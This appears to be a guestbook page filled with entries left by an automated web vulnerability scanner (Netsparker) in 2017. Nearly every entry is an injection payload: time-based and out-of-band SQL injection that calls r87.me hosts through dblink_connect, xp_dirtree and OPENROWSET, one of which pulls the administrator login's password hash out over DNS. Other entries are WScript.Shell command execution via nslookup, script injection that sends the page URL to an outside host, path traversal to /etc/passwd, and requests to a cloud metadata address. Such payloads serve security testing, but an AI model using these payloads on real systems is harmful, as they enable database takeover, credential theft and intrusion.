\r\n cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)\r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A6A

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric)\r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A69

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 ns=netsparker(0x002A5F)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\" ns=netsparker(0x002A5D)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n Guestbook.aspx\u0000\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '+NSFTW+'\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n Guestbook.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7\" & \"32o.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1');SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n data:;base64,TlM3NzU0NTYxNDQ2NTc1\r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio\" & \"qju.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y\" & \"wqa.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-\" & \"y9m.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n //r87.com/?0x003F84\r\n

\r\n
\r\n

1);SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

N3TSP4RKE2

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\r\n

\r\n
\r\n

nxtspxrkex

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n [ns](javascript:netsparker(0x003F5C);)\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n NSFTW\r\n

\r\n
\r\n

n3tsp4rke2

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n /etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n '\"@-->\r\n

\r\n
\r\n

SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt\" & \"ano.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl\" & \"8u8.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s\" & \"jba.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl\" & \"cpq.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//etc/passwd\r\n

\r\n
\r\n

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)\r\n

\r\n
\r\n

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000.aspx\r\n

\r\n
\r\n

((select sleep(25)))a-- 1

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n http://127.0.0.1:3306\r\n

\r\n
\r\n

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n http://127.100.11.2:22\r\n

\r\n
\r\n

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r\r\n

\r\n
\r\n

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'\r\n

\r\n
\r\n

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n 1'))exec('xp_dirtree ''\\\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1))exec('xp_dirtree ''\\\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

1)) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1')exec('xp_dirtree ''\\\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n 1) exec('xp_dirtree ''\\\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n -1';exec('xp_dirtree ''\\\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

')) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n 1;exec('xp_dirtree ''\\\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n exec('xp_dirtree ''\\\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\\c$\\a''')\r\n

\r\n
\r\n

') WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n http://169.254.169.254/latest/meta-data/public-hostname\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs\" & \"j3o.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no\" & \"o20.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n http://aws.r87.me/latest/meta-data/public-hostname\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n file:///etc/passwd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n -1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\u0000.aspx\r\n

\r\n
\r\n

WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n 127.0.0.1/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n ::1/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n '+netsparker(0x003E56)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E54);\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache2/error.log\r\n

\r\n
\r\n

1 WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E52)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error_log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n 127.100.11.2/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

' WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n 54.204.37.212/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n testsparker.com/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n %27\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n http://testsparker.com/elmah\r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz\"+\"itg.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v\"+\"nwu.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

